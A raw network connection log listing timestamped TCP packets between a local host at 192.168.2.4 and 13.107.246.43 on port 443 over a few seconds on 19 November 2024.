Nov 19, 2024 00:02:24.409173012 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.409173012 CET	49849	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.409216881 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.409245968 CET	443	49849	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.411876917 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.411911011 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.412050009 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.412185907 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.412204981 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.450937033 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.451136112 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.451250076 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.451440096 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.451484919 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.451515913 CET	49850	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.451531887 CET	443	49850	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.459122896 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.459175110 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.459253073 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.459558010 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.459574938 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.713614941 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.714747906 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.714782953 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.715336084 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.715351105 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.715527058 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.715981007 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.716023922 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.716394901 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.716427088 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.845911026 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.846087933 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.846250057 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.846817970 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.846817970 CET	49851	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.846843958 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.846864939 CET	443	49851	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.847522974 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.847827911 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.848006964 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.848154068 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.848176003 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.848325968 CET	49852	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.848334074 CET	443	49852	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.849318027 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.849390984 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.849952936 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.849976063 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.850006104 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.850042105 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.850166082 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.850194931 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.850220919 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.850240946 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.875895977 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.876272917 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.876300097 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:24.876852989 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:24.876863956 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.007302999 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.008115053 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.008193970 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.008274078 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.008274078 CET	49853	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.008313894 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.008338928 CET	443	49853	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.010766983 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.010814905 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.010905981 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.011038065 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.011064053 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.175175905 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.175669909 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.175699949 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.176299095 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.176306009 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.205849886 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.206165075 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.206228018 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.206618071 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.206629992 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.311172009 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.311407089 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.311559916 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.313369036 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.313389063 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.313411951 CET	49854	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.313420057 CET	443	49854	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.315917969 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.315939903 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.316005945 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.316133022 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.316167116 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.334712982 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.335001945 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.335086107 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.335145950 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.335145950 CET	49855	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.335182905 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.335206032 CET	443	49855	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.337122917 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.337217093 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.337301970 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.337404966 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.337429047 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.592454910 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.593049049 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.593132019 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.593673944 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.593688011 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.597785950 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.598077059 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.598109007 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.598557949 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.598565102 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.724664927 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.724720001 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.724859953 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.724888086 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.724915981 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.724976063 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.725148916 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.725184917 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.725209951 CET	49856	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.725224972 CET	443	49856	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.728389978 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.728490114 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.728593111 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.728760958 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.728796959 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.730289936 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.730438948 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.730504990 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.730545998 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.730545998 CET	49857	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.730566978 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.730581045 CET	443	49857	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.732893944 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.732983112 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.733067989 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.733170033 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.733203888 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.747745991 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.748119116 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.748138905 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.748718023 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.748727083 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.912611008 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.913029909 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.913117886 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.913187981 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.913187981 CET	49858	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.913213015 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.913233995 CET	443	49858	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.915813923 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.915895939 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:25.915997982 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.916331053 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:25.916412115 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.071434975 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.071849108 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.071881056 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.072247028 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.072254896 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.117592096 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.117970943 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.118004084 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.118314028 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.118324995 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.203392982 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.203444004 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.203496933 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.203515053 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.203586102 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.203651905 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.203757048 CET	49859	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.203768969 CET	443	49859	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.206789017 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.206842899 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.206979036 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.207099915 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.207114935 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.251710892 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.251760960 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.251826048 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.251857042 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.251885891 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.251914978 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.251940966 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.252002001 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.252032995 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.252059937 CET	49860	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.252073050 CET	443	49860	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.254009962 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.254095078 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.254167080 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.254381895 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.254420996 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.472831964 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.473228931 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.473603010 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.473628998 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.473664045 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.473733902 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.474345922 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.474359989 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.474456072 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.474467993 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.604832888 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.604975939 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605024099 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605104923 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605135918 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605211020 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605273962 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605308056 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605372906 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605405092 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605432034 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605480909 CET	49862	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605482101 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605494022 CET	443	49862	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605515003 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.605550051 CET	49861	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.605565071 CET	443	49861	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.608236074 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608292103 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.608380079 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608526945 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608558893 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.608577013 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608671904 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.608758926 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608829975 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.608855009 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.678776026 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.679450989 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.679528952 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.680042028 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.680057049 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.810553074 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.810672045 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.810811043 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.810925961 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.810965061 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.811018944 CET	49863	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.811036110 CET	443	49863	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.813787937 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.813864946 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.813966036 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.814100027 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.814133883 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.950974941 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.951512098 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.951541901 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.952022076 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.952028036 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.998477936 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.998888969 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.998967886 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:26.999418974 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:26.999433041 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.082503080 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.082653046 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.082740068 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.082823038 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.082864046 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.082923889 CET	49864	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.082941055 CET	443	49864	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.085869074 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.085932016 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.086028099 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.086159945 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.086178064 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.128865004 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.129017115 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.129097939 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.129260063 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.129306078 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.129357100 CET	49865	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.129376888 CET	443	49865	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.131782055 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.131825924 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.131913900 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.132020950 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.132045984 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.344249964 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.344881058 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.344928026 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.345551014 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.345563889 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.371155977 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.371696949 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.371723890 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.372231960 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.372237921 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.480570078 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.481235981 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.481367111 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.483557940 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.483557940 CET	49866	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.483577967 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.483589888 CET	443	49866	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.484626055 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.484716892 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.484812975 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.484910965 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.484930992 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.516266108 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.516544104 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.516629934 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.516691923 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.516726971 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.516760111 CET	49867	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.516774893 CET	443	49867	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.518604994 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.518647909 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.518733025 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.518856049 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.518884897 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.569454908 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.570002079 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.570079088 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.570411921 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.570430994 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.709486961 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.709640026 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.709724903 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.709800005 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.709800005 CET	49868	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.709834099 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.709856987 CET	443	49868	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.712057114 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.712101936 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.712171078 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.712275028 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.712292910 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.822784901 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.823424101 CET	49869	443	192.168.2.4	13.107.246.43
